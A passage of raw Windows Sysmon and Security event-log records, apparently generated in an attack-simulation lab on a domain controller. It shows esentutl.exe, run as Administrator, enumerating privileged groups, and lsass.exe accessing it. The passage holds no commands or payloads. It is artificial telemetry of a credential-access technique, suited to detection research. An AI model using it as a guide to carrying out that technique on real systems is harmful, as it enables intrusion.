enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.103\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.103","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222160,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.103\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.103","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222161,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222162,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5588,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222163,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5589,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222164,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5590,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 